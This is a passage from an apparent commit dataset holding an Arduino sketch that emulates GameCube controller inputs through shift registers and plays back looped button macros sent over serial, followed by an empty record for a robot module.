macro_loop_metadata[macroMetadataSize][12]; \/\/ Contains informations such as how many times to repeat a portion of a macro, and where to start and end\r\nuint32_t controller = 0;\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(baudRate);\r\n\r\n pinMode(motorInput, INPUT);\r\n pinMode(turboLed, INPUT);\r\n pinMode(macroLed, INPUT);\r\n\r\n pinMode(latchPin, OUTPUT);\r\n pinMode(dataPin, OUTPUT);\r\n pinMode(clockPin, OUTPUT);\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int8_t i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, defaultStatus[i]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n \/\/ Press the buttons X, Y and Start for 2 seconds to reset the controller,\r\n \/\/ this is a built in controller feature to make it easier to reset analog sticks and\r\n \/\/ triggers without having to unplug the controller, thanks Nintendo, this feature is very useful!\r\n inputStatus[buttonX] = LOW;\r\n inputStatus[buttonY] = LOW;\r\n inputStatus[buttonStart] = LOW;\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int8_t i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, inputStatus[i]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n delay(2000);\r\n\r\n \/\/ Now we release the buttons X, Y and Start after 2 seconds have passed\r\n inputStatus[buttonX] = HIGH;\r\n inputStatus[buttonY] = HIGH;\r\n inputStatus[buttonStart] = HIGH;\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int8_t i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, inputStatus[i]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n \/\/ Reset everything\r\n serial_rx_buffer[0] = 0x00;\r\n serial_rx_buffer[1] = 0x00;\r\n serial_rx_buffer[2] = 0x00;\r\n serial_rx_buffer[3] = 0x7F;\r\n serial_rx_buffer[4] = 0x7F;\r\n serial_rx_buffer[5] = 0x7F;\r\n serial_rx_buffer[6] = 0x7F;\r\n serial_rx_buffer[7] = 0x00;\r\n serial_rx_buffer[8] = 0x00;\r\n serial_rx_buffer[9] = 0x00;\r\n serial_rx_buffer[10] = 0x00;\r\n serial_rx_buffer[11] = 0x00;\r\n\r\n current_macro_input[0] = 0x00;\r\n current_macro_input[1] = 0x00;\r\n current_macro_input[2] = 0x00;\r\n current_macro_input[3] = 0x7F;\r\n current_macro_input[4] = 0x7F;\r\n current_macro_input[5] = 0x7F;\r\n current_macro_input[6] = 0x7F;\r\n current_macro_input[7] = 0x00;\r\n current_macro_input[8] = 0x00;\r\n current_macro_input[9] = 0x00;\r\n current_macro_input[10] = 0x00;\r\n current_macro_input[11] = 0x00;\r\n\r\n old_macro_input[0] = 0x00;\r\n old_macro_input[1] = 0x00;\r\n old_macro_input[2] = 0x00;\r\n old_macro_input[3] = 0x7F;\r\n old_macro_input[4] = 0x7F;\r\n old_macro_input[5] = 0x7F;\r\n old_macro_input[6] = 0x7F;\r\n old_macro_input[7] = 0x00;\r\n old_macro_input[8] = 0x00;\r\n old_macro_input[9] = 0x00;\r\n old_macro_input[10] = 0x00;\r\n old_macro_input[11] = 0x00;\r\n\r\n Serial.println(startingMacroIndex);\r\n Serial.println(endingMacroIndex);\r\n Serial.println(macroBufferSize);\r\n Serial.println(startingMacroMetadataIndex);\r\n Serial.println(endingMacroMetadataIndex);\r\n Serial.println(macroMetadataSize);\r\n\r\n}\r\n\r\nvoid loop()\r\n{\r\n \/\/currentMillis = millis();\r\n if (Serial.available() > 0)\r\n {\r\n controller = Serial.readBytes(serial_rx_buffer, sizeof(serial_rx_buffer)) && 0xFF;\r\n\r\n \/\/ Set Start Byte (Preamble Byte) and End Byte (Postamble Byte)\r\n \/\/ 1 == 0x01\r\n if ((serial_rx_buffer[0] == 0x01) && (serial_rx_buffer[11] == 0x01))\r\n {\r\n for (uint8_t currentInputIndex = 0; currentInputIndex < sizeof(serial_rx_buffer); currentInputIndex++) {\r\n current_macro_input[currentInputIndex] = serial_rx_buffer[currentInputIndex];\r\n }\r\n \/\/ Make the button presses actually work\r\n macroIndex = 0;\r\n currentMacroIndexRunning = 0;\r\n macroInputsToRun = 0;\r\n loopMacro = 0;\r\n timesToLoop = 0;\r\n loopCounter = 0;\r\n howManyInnerLoopsMacroHas = 0;\r\n isInputting = true;\r\n isInputtingDelayed = false;\r\n previousInputDelay = millis();\r\n }\r\n if ((serial_rx_buffer[0] >= startingMacroIndex) && (serial_rx_buffer[11] >= startingMacroIndex))\r\n {\r\n if ((serial_rx_buffer[0] < endingMacroIndex) && (serial_rx_buffer[11] < endingMacroIndex))\r\n {\r\n if (serial_rx_buffer[0] == serial_rx_buffer[11]) {\r\n \/\/ Stop the current loop when we receive a new macro\r\n macroIndex = 0;\r\n currentMacroIndexRunning = 0;\r\n macroInputsToRun = 0;\r\n loopMacro = 0;\r\n timesToLoop = 0;\r\n loopCounter = 0;\r\n howManyInnerLoopsMacroHas = 0;\r\n \/\/isInputting = false;\r\n isInputtingDelayed = false;\r\n macroIndex = serial_rx_buffer[0] - startingMacroIndex;\r\n for (uint8_t macroInputIndex = 0; macroInputIndex < sizeof(serial_rx_buffer); macroInputIndex++) {\r\n macro_buffer[macroIndex][macroInputIndex] = serial_rx_buffer[macroInputIndex];\r\n \/\/Serial.println(macro_buffer[macroIndex][macroInputIndex]);\r\n }\r\n }\r\n }\r\n }\r\n if ((serial_rx_buffer[0] == endingMacroIndex) && (serial_rx_buffer[11] == endingMacroIndex))\r\n {\r\n \/\/ Stop the current loop when we receive a new macro setter (The thing that tells how a macro should be executed, if it should loop, how many inputs it has to iterate through)\r\n macroIndex = 0;\r\n currentMacroIndexRunning = 0;\r\n macroInputsToRun = 0;\r\n loopMacro = 0;\r\n timesToLoop = 0;\r\n loopCounter = 0;\r\n howManyInnerLoopsMacroHas = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n macroInputsToRun = serial_rx_buffer[1];\r\n loopMacro = serial_rx_buffer[2];\r\n currentMacroIndexRunning = serial_rx_buffer[3];\r\n timesToLoop = serial_rx_buffer[4]; \/\/ Times to repeat, if == 0, it'll not repeat, if != 0, it'll repeat n times, so in this case, gramatically speaking, timesToLoop and times to repeat are different things (does this make sense?), so the max amount of times it can loop is 256, the amount of times it can repeat is 255, the first iteration is not a repetition (Repeat input? Repeated input?) (Again, does this makes sense?)\r\n loopCounter = serial_rx_buffer[5];\r\n howManyInnerLoopsMacroHas = serial_rx_buffer[6]; \/\/ Different than 0 if there are, 0 if there aren't\r\n \/\/isInputting = true;\r\n \/\/previousInputDelay = millis();\r\n }\r\n if ((serial_rx_buffer[0] >= startingMacroMetadataIndex) && (serial_rx_buffer[11] >= startingMacroMetadataIndex)) {\r\n if ((serial_rx_buffer[0] < endingMacroMetadataIndex) && (serial_rx_buffer[11] < endingMacroMetadataIndex)) {\r\n if (serial_rx_buffer[0] == serial_rx_buffer[11]) {\r\n \/\/Serial.print(\"Received loop metadata 1 info at index \");\r\n \/\/Serial.println(serial_rx_buffer[0]);\r\n \/\/ Stop the current loop when we receive a new macro\r\n macroIndex = 0;\r\n currentMacroIndexRunning = 0;\r\n macroInputsToRun = 0;\r\n loopMacro = 0;\r\n timesToLoop = 0;\r\n loopCounter = 0;\r\n howManyInnerLoopsMacroHas = 0;\r\n \/\/isInputting = false;\r\n isInputtingDelayed = false;\r\n macroMetadataIndex = serial_rx_buffer[0] - startingMacroMetadataIndex;\r\n \/*\r\n macro_loop_metadata[macroMetadataIndex][0] = 0; \/\/ Preamble\r\n macro_loop_metadata[macroMetadataIndex][1] = 0; \/\/ Inputs to execute (number of inputs that should be executed in this inner loop) (Use same logic as [5] here instead?)\r\n macro_loop_metadata[macroMetadataIndex][2] = 0; \/\/ Current input index\r\n macro_loop_metadata[macroMetadataIndex][3] = 0; \/\/ Times to loop (number of times this inner loop should be executed, before going to the next inner loop, if any)\r\n macro_loop_metadata[macroMetadataIndex][4] = 0; \/\/ Loop counter (number of times this inner loop was executed)\r\n macro_loop_metadata[macroMetadataIndex][5] = 0; \/\/ Where is the next inner loop's first input (index 0 input for the next inner loop, aka the index for the input in the macro_buffer array) (Continue normally if value is 0, or do nothing if there are no more inputs to be executed)\r\n macro_loop_metadata[macroMetadataIndex][6] = 0; \/\/ Where to start (index of the starting input) (Inclusive)\r\n macro_loop_metadata[macroMetadataIndex][7] = 0; \/\/ Where to end (index of the ending input) (Inclusive)\r\n macro_loop_metadata[macroMetadataIndex][8] = 0; \/\/ How many inner loops that should be executed after this (if <=0, don't execute inner loops any inner loops after this, and move on as normal, if there are normal inputs to be exeucuted, execute those, if there's nothing else to do, go back to the beginning of the larger loop, if > 0, execute n inner loops after this)\r\n macro_loop_metadata[macroMetadataIndex][9] = 0; \/\/ Unused?\r\n macro_loop_metadata[macroMetadataIndex][10] = 0; \/\/ Unused?\r\n macro_loop_metadata[macroMetadataIndex][11] = 0; \/\/ Postamble\r\n *\/\r\n for (uint8_t macroInputMetadataIndex = 0; macroInputMetadataIndex < sizeof(serial_rx_buffer); macroInputMetadataIndex++) {\r\n macro_loop_metadata[macroMetadataIndex][macroInputMetadataIndex] = serial_rx_buffer[macroInputMetadataIndex];\r\n \/\/Serial.print(\"macroMetadataIndex = \");\r\n \/\/Serial.println(macroMetadataIndex);\r\n \/\/Serial.print(\"macroInputMetadataIndex = \");\r\n \/\/Serial.println(macroInputMetadataIndex);\r\n Serial.println(macro_loop_metadata[macroMetadataIndex][macroInputMetadataIndex]);\r\n }\r\n \/\/Serial.println(\"\");\r\n }\r\n }\r\n }\r\n if ((serial_rx_buffer[0] == endingMacroMetadataIndex) && (serial_rx_buffer[11] == endingMacroMetadataIndex)) {\r\n \/\/Serial.print(\"Received loop metadata 2 info at index \");\r\n \/\/Serial.println(serial_rx_buffer[0]);\r\n }\r\n }\r\n runMacro();\r\n pressButtons();\r\n} \/\/ Close Loop Function\r\n\r\nvoid runMacro()\r\n{\r\n if (isInputting == false) {\r\n if (macroInputsToRun != 0) {\r\n if (macroInputsToRun > currentMacroIndexRunning)\r\n {\r\n if (loopCounter <= timesToLoop) {\r\n for (uint8_t currentInputIndex = 0; currentInputIndex < sizeof(serial_rx_buffer); currentInputIndex++) {\r\n current_macro_input[currentInputIndex] = macro_buffer[currentMacroIndexRunning][currentInputIndex];\r\n \/\/Serial.println(current_macro_input[currentInputIndex]);\r\n \/\/Serial.print(\"currentMacroIndexRunning = \");\r\n \/\/Serial.println(currentMacroIndexRunning);\r\n }\r\n \/\/Serial.print(\"currentMacroIndexRunning = \");\r\n \/\/Serial.println(currentMacroIndexRunning);\r\n if (howManyInnerLoopsMacroHas <= 0) {\r\n \/\/Serial.println(\"\\r\\nTEST A\");\r\n \/*\r\n currentMacroMetadataIndexRunning = currentMacroIndexRunning + startingMacroMetadataIndex;\r\n Serial.print(\"currentMacroMetadataIndexRunning = \");\r\n Serial.println(currentMacroMetadataIndexRunning);\r\n *\/\r\n \/\/\r\n \/*\r\n Serial.println(\"\");\r\n Serial.print(\"howManyInnerLoopsMacroHas = \");\r\n Serial.println(howManyInnerLoopsMacroHas);\r\n Serial.print(\" , currentMacroIndexRunning = \");\r\n Serial.println(currentMacroIndexRunning);\r\n Serial.println(\"\");\r\n *\/\r\n }\r\n if (howManyInnerLoopsMacroHas > 0) {\r\n \/\/Serial.println(\"\\r\\nTEST B\");\r\n \/\/\r\n currentMacroMetadataIndexRunning = currentMacroIndexRunning + startingMacroMetadataIndex;\r\n if (macro_loop_metadata[currentMacroIndexRunning][2] == currentMacroMetadataIndexRunning) {\r\n Serial.println(\"YEAH 2\");\r\n }\r\n if (macro_loop_metadata[currentMacroIndexRunning][2] == currentMacroIndexRunning) {\r\n \/\/Serial.print(\"currentMacroMetadataIndexRunning = \");\r\n \/\/Serial.println(currentMacroMetadataIndexRunning);\r\n Serial.println(\"YEAH\");\r\n }\r\n Serial.print(\"startingMacroMetadataIndex = \");\r\n Serial.println(startingMacroMetadataIndex);\r\n Serial.print(\"currentMacroIndexRunning = \");\r\n Serial.println(currentMacroIndexRunning);\r\n Serial.print(\"macro_loop_metadata[currentMacroIndexRunning][2] = \");\r\n Serial.println(macro_loop_metadata[currentMacroIndexRunning][2]); \/\/ Returning wrong values??????????\r\n Serial.print(\"currentMacroMetadataIndexRunning = \");\r\n Serial.println(currentMacroMetadataIndexRunning);\r\n \/*\r\n Serial.println(\"\");\r\n Serial.print(\"howManyInnerLoopsMacroHas = \");\r\n Serial.println(howManyInnerLoopsMacroHas);\r\n Serial.print(\" , currentMacroIndexRunning = \");\r\n Serial.println(currentMacroIndexRunning);\r\n Serial.println(\"\");\r\n *\/\r\n }\r\n \/\/ Make the button presses actually work\r\n isInputting = true;\r\n previousInputDelay = millis();\r\n }\r\n }\r\n if (currentMacroIndexRunning < macroInputsToRun) {\r\n currentMacroIndexRunning++;\r\n }\r\n if (loopMacro != 0) {\r\n if (currentMacroIndexRunning >= macroInputsToRun) {\r\n currentMacroIndexRunning = 0;\r\n \/*\r\n if (timesToLoop <= 0) {\r\n \/\/\r\n }\r\n *\/\r\n if (timesToLoop > 0 && loopCounter <= timesToLoop) {\r\n \/\/ Sending this block for redundancy sake, will comment this block if something goes wrong (it shouldn't)\r\n Serial.write(endingMacroIndex);\r\n Serial.write(macroInputsToRun);\r\n Serial.write(loopMacro);\r\n Serial.write(currentMacroIndexRunning);\r\n Serial.write(timesToLoop);\r\n Serial.write(loopCounter);\r\n Serial.write(howManyInnerLoopsMacroHas);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(endingMacroIndex);\r\n loopCounter++;\r\n Serial.write(endingMacroIndex);\r\n Serial.write(macroInputsToRun);\r\n Serial.write(loopMacro);\r\n Serial.write(currentMacroIndexRunning);\r\n Serial.write(timesToLoop);\r\n Serial.write(loopCounter);\r\n Serial.write(howManyInnerLoopsMacroHas);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(endingMacroIndex);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n}\r\n\r\nvoid pressButtons()\r\n{\r\n if (isInputtingDelayed == false)\r\n {\r\n \/\/ Define input delay (If Buffer Array Element 9 and 10 !=0)\r\n inputDelay = (uint32_t)current_macro_input[9] << 8 | (uint32_t)current_macro_input[10];\r\n }\r\n if (isInputting == true)\r\n {\r\n didInputChange = false;\r\n \/\/ Send the controller data back so it can be used to display controller information on the overlay\r\n for (uint8_t currentByteIndex = 0; currentByteIndex < sizeof(current_macro_input); currentByteIndex++) {\r\n if (current_macro_input[currentByteIndex] != old_macro_input[currentByteIndex]) {\r\n didInputChange = true;\r\n }\r\n old_macro_input[currentByteIndex] = current_macro_input[currentByteIndex];\r\n }\r\n if (didInputChange == true) {\r\n if (macroInputsToRun != 0) {\r\n \/\/ This block is used to tell the backend where in the macro chain the current macro input is\r\n Serial.write(endingMacroIndex);\r\n Serial.write(macroInputsToRun);\r\n Serial.write(loopMacro);\r\n Serial.write(currentMacroIndexRunning);\r\n Serial.write(timesToLoop);\r\n Serial.write(loopCounter);\r\n Serial.write(howManyInnerLoopsMacroHas);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(endingMacroIndex);\r\n }\r\n for (uint8_t currentByteIndex = 0; currentByteIndex < sizeof(current_macro_input); currentByteIndex++) {\r\n \/\/ Send only data back if it has changed, I don't know how to do this without having two loops\r\n Serial.write(current_macro_input[currentByteIndex]);\r\n \/\/Serial.println(current_macro_input[currentByteIndex]);\r\n \/\/Serial.println(\"TEST\");\r\n }\r\n \/*\r\n if (current_macro_input[2] == macro_loop_metadata[currentMacroIndexRunning][2]) {\r\n \/\/\r\n \/\/Serial.println(\"TEST\");\r\n }\r\n *\/\r\n }\r\n Serial.flush();\r\n \/\/ Press Button\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Digital L Trigger, Digital R Trigger, Z, Start, Y, X, B, A\r\n inputStatus[buttonLTrigger] = !(current_macro_input[1] & B00000001);\r\n inputStatus[buttonRTrigger] = !(current_macro_input[1] & B00000010);\r\n inputStatus[buttonZ] = !(current_macro_input[1] & B00000100);\r\n inputStatus[buttonStart] = !(current_macro_input[1] & B00001000);\r\n inputStatus[buttonY] = !(current_macro_input[1] & B00010000);\r\n inputStatus[buttonX] = !(current_macro_input[1] & B00100000);\r\n inputStatus[buttonB] = !(current_macro_input[1] & B01000000);\r\n inputStatus[buttonA] = !(current_macro_input[1] & B10000000);\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ Analog L Trigger, Analog R Trigger, Macro (Bootleg), Turbo (Bootleg), DUp, DDown, DRight, DLeft\r\n \/\/ Analog R and L Triggers have to be inverted (invert the logic level)\r\n inputStatus[axisLTrigger] = (current_macro_input[2] & B00000001);\r\n inputStatus[axisRTrigger] = (current_macro_input[2] & B00000010);\r\n inputStatus[buttonMacro] = !(current_macro_input[2] & B00000100);\r\n inputStatus[buttonTurbo] = !(current_macro_input[2] & B00001000);\r\n inputStatus[buttonDUp] = !(current_macro_input[2] & B00010000);\r\n inputStatus[buttonDDown] = !(current_macro_input[2] & B00100000);\r\n inputStatus[buttonDRight] = !(current_macro_input[2] & B01000000);\r\n inputStatus[buttonDLeft] = !(current_macro_input[2] & B10000000);\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ X, Y, CX, CY\r\n\r\n \/\/X STICK\r\n if (current_macro_input[3] > 127)\r\n {\r\n \/\/ Push X Stick to Right\r\n inputStatus[axisXHalf] = HIGH;\r\n inputStatus[axisXFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[3] < 127)\r\n {\r\n \/\/ Push X Stick to Left\r\n inputStatus[axisXHalf] = LOW;\r\n inputStatus[axisXFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[3] == 127)\r\n {\r\n \/\/ Keep X Stick Centered\r\n inputStatus[axisXHalf] = HIGH;\r\n inputStatus[axisXFull] = LOW;\r\n }\r\n\r\n \/\/Y STICK\r\n if (current_macro_input[4] > 127)\r\n {\r\n \/\/ Push Y Stick to Up\r\n inputStatus[axisYHalf] = LOW;\r\n inputStatus[axisYFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[4] < 127)\r\n {\r\n \/\/ Push Y Stick to Down\r\n inputStatus[axisYHalf] = HIGH;\r\n inputStatus[axisYFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[4] == 127)\r\n {\r\n \/\/ Keep Y Stick Centered\r\n inputStatus[axisYHalf] = HIGH;\r\n inputStatus[axisYFull] = LOW;\r\n }\r\n\r\n \/\/CX STICK\r\n if (current_macro_input[5] > 127)\r\n {\r\n \/\/ Push CX Stick to Right\r\n inputStatus[axisCxHalf] = HIGH;\r\n inputStatus[axisCxFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[5] < 127)\r\n {\r\n \/\/ Push CX Stick to Left\r\n inputStatus[axisCxHalf] = LOW;\r\n inputStatus[axisCxFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[5] == 127)\r\n {\r\n \/\/ Keep CX Stick Centered\r\n inputStatus[axisCxHalf] = HIGH;\r\n inputStatus[axisCxFull] = LOW;\r\n }\r\n\r\n \/\/CY STICK\r\n if (current_macro_input[6] > 127)\r\n {\r\n \/\/ Push CY Stick to Down\r\n inputStatus[axisCyHalf] = LOW;\r\n inputStatus[axisCyFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[6] < 127)\r\n {\r\n \/\/ Push CY Stick to Up\r\n inputStatus[axisCyHalf] = HIGH;\r\n inputStatus[axisCyFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[6] == 127)\r\n {\r\n \/\/ Keep CY Stick Centered\r\n inputStatus[axisCyHalf] = HIGH;\r\n inputStatus[axisCyFull] = LOW;\r\n }\r\n\r\n \/\/ Mode (Bootleg), Buffer Array Element 7\r\n \/\/ All other bits in this Buffer Array Element are unused\r\n inputStatus[buttonMode] = !(current_macro_input[7] & B00000001);\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int8_t i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, inputStatus[i]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n\r\n \/\/ Buffer Array Elements 9 and 10 are used to tell the Arduino how long commands are executed, on a delay ranging from 1-65535ms\r\n if (inputDelay != 0)\r\n {\r\n isInputtingDelayed = true;\r\n \/\/ The block below executes Soft Delay for holding the buttons down\r\n if (isInputtingDelayed == true)\r\n {\r\n if (millis() - previousInputDelay >= inputDelay)\r\n {\r\n \/\/ Now we need to stop the Soft Delay\r\n\r\n \/\/ Reset everything\r\n serial_rx_buffer[0] = 0x00;\r\n serial_rx_buffer[1] = 0x00;\r\n serial_rx_buffer[2] = 0x00;\r\n serial_rx_buffer[3] = 0x7F;\r\n serial_rx_buffer[4] = 0x7F;\r\n serial_rx_buffer[5] = 0x7F;\r\n serial_rx_buffer[6] = 0x7F;\r\n serial_rx_buffer[7] = 0x00;\r\n serial_rx_buffer[8] = 0x00;\r\n serial_rx_buffer[9] = 0x00;\r\n serial_rx_buffer[10] = 0x00;\r\n serial_rx_buffer[11] = 0x00;\r\n\r\n current_macro_input[0] = 0x00;\r\n current_macro_input[1] = 0x00;\r\n current_macro_input[2] = 0x00;\r\n current_macro_input[3] = 0x7F;\r\n current_macro_input[4] = 0x7F;\r\n current_macro_input[5] = 0x7F;\r\n current_macro_input[6] = 0x7F;\r\n current_macro_input[7] = 0x00;\r\n current_macro_input[8] = 0x00;\r\n current_macro_input[9] = 0x00;\r\n current_macro_input[10] = 0x00;\r\n current_macro_input[11] = 0x00;\r\n\r\n didInputChange = false;\r\n\r\n \/\/ Send the controller data back so it can be used to display controller information on the overlay\r\n for (uint8_t currentByteIndex = 0; currentByteIndex < sizeof(current_macro_input); currentByteIndex++) {\r\n if (current_macro_input[currentByteIndex] != old_macro_input[currentByteIndex]) {\r\n didInputChange = true;\r\n }\r\n old_macro_input[currentByteIndex] = current_macro_input[currentByteIndex];\r\n }\r\n if (didInputChange == true) {\r\n if (macroInputsToRun != 0) {\r\n \/\/ This block is used to tell the backend where in the macro chain the current macro input is\r\n Serial.write(endingMacroIndex);\r\n Serial.write(macroInputsToRun);\r\n Serial.write(loopMacro);\r\n Serial.write(currentMacroIndexRunning);\r\n Serial.write(timesToLoop);\r\n Serial.write(loopCounter);\r\n Serial.write(howManyInnerLoopsMacroHas);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(0x00);\r\n Serial.write(endingMacroIndex);\r\n }\r\n for (uint8_t currentByteIndex = 0; currentByteIndex < sizeof(current_macro_input); currentByteIndex++) {\r\n \/\/ Send only data back if it has changed, I don't know how to do this without having two loops\r\n Serial.write(current_macro_input[currentByteIndex]);\r\n \/\/Serial.println(current_macro_input[currentByteIndex]);\r\n }\r\n }\r\n Serial.flush();\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Digital L Trigger, Digital R Trigger, Z, Start, Y, X, B, A\r\n inputStatus[buttonLTrigger] = !(current_macro_input[1] & B00000001);\r\n inputStatus[buttonRTrigger] = !(current_macro_input[1] & B00000010);\r\n inputStatus[buttonZ] = !(current_macro_input[1] & B00000100);\r\n inputStatus[buttonStart] = !(current_macro_input[1] & B00001000);\r\n inputStatus[buttonY] = !(current_macro_input[1] & B00010000);\r\n inputStatus[buttonX] = !(current_macro_input[1] & B00100000);\r\n inputStatus[buttonB] = !(current_macro_input[1] & B01000000);\r\n inputStatus[buttonA] = !(current_macro_input[1] & B10000000);\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ Analog L Trigger, Analog R Trigger, Macro (Bootleg), Turbo (Bootleg), DUp, DDown, DRight, DLeft\r\n \/\/ Analog R and L Triggers have to be inverted (invert the logic level)\r\n inputStatus[axisLTrigger] = (current_macro_input[2] & B00000001);\r\n inputStatus[axisRTrigger] = (current_macro_input[2] & B00000010);\r\n inputStatus[buttonMacro] = !(current_macro_input[2] & B00000100);\r\n inputStatus[buttonTurbo] = !(current_macro_input[2] & B00001000);\r\n inputStatus[buttonDUp] = !(current_macro_input[2] & B00010000);\r\n inputStatus[buttonDDown] = !(current_macro_input[2] & B00100000);\r\n inputStatus[buttonDRight] = !(current_macro_input[2] & B01000000);\r\n inputStatus[buttonDLeft] = !(current_macro_input[2] & B10000000);\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ X, Y, CX, CY\r\n\r\n \/\/X STICK\r\n if (current_macro_input[3] > 127)\r\n {\r\n \/\/ Push X Stick to Right\r\n inputStatus[axisXHalf] = HIGH;\r\n inputStatus[axisXFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[3] < 127)\r\n {\r\n \/\/ Push X Stick to Left\r\n inputStatus[axisXHalf] = LOW;\r\n inputStatus[axisXFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[3] == 127)\r\n {\r\n \/\/ Keep X Stick Centered\r\n inputStatus[axisXHalf] = HIGH;\r\n inputStatus[axisXFull] = LOW;\r\n }\r\n\r\n \/\/Y STICK\r\n if (current_macro_input[4] > 127)\r\n {\r\n \/\/ Push Y Stick to Up\r\n inputStatus[axisYHalf] = LOW;\r\n inputStatus[axisYFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[4] < 127)\r\n {\r\n \/\/ Push Y Stick to Down\r\n inputStatus[axisYHalf] = HIGH;\r\n inputStatus[axisYFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[4] == 127)\r\n {\r\n \/\/ Keep Y Stick Centered\r\n inputStatus[axisYHalf] = HIGH;\r\n inputStatus[axisYFull] = LOW;\r\n }\r\n\r\n \/\/CX STICK\r\n if (current_macro_input[5] > 127)\r\n {\r\n \/\/ Push CX Stick to Right\r\n inputStatus[axisCxHalf] = HIGH;\r\n inputStatus[axisCxFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[5] < 127)\r\n {\r\n \/\/ Push CX Stick to Left\r\n inputStatus[axisCxHalf] = LOW;\r\n inputStatus[axisCxFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[5] == 127)\r\n {\r\n \/\/ Keep CX Stick Centered\r\n inputStatus[axisCxHalf] = HIGH;\r\n inputStatus[axisCxFull] = LOW;\r\n }\r\n\r\n \/\/CY STICK\r\n if (current_macro_input[6] > 127)\r\n {\r\n \/\/ Push CY Stick to Down\r\n inputStatus[axisCyHalf] = LOW;\r\n inputStatus[axisCyFull] = LOW;\r\n }\r\n\r\n if (current_macro_input[6] < 127)\r\n {\r\n \/\/ Push CY Stick to Up\r\n inputStatus[axisCyHalf] = HIGH;\r\n inputStatus[axisCyFull] = HIGH;\r\n }\r\n\r\n if (current_macro_input[6] == 127)\r\n {\r\n \/\/ Keep CY Stick Centered\r\n inputStatus[axisCyHalf] = HIGH;\r\n inputStatus[axisCyFull] = LOW;\r\n }\r\n\r\n \/\/ Mode (Bootleg), Buffer Array Element 7\r\n \/\/ All other bits in this Buffer Array Element are unused\r\n inputStatus[buttonMode] = !(current_macro_input[7] & B00000001);\r\n \/\/ Sometimes buttons are considered as released by the console between inputs, the pieces of code below will hopefully make it so buttons are only released at the end of the final iteration of a loopable macro, or released at the final input of a non-loopable macro, or released at the end of a basic input\r\n if (loopMacro == 0) {\r\n if (currentMacroIndexRunning == macroInputsToRun) {\r\n digitalWrite(latchPin, LOW);\r\n for (int8_t i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, inputStatus[i]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n }\r\n }\r\n if (loopMacro != 0) {\r\n if (loopCounter > timesToLoop) {\r\n digitalWrite(latchPin, LOW);\r\n for (int8_t i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, inputStatus[i]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n }\r\n }\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n previousInputDelay += inputDelay;\r\n inputDelay = 0;\r\n }\r\n }\r\n }\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gcn_controller_v5\/gcn_controller_v5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"66f54560882d4fc66e5921f979b0eb74fc0bd751","subject":"Update SlaveModule.ino","message":"Update SlaveModule.ino","repos":"Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot","old_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SlaveModule\/SlaveModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 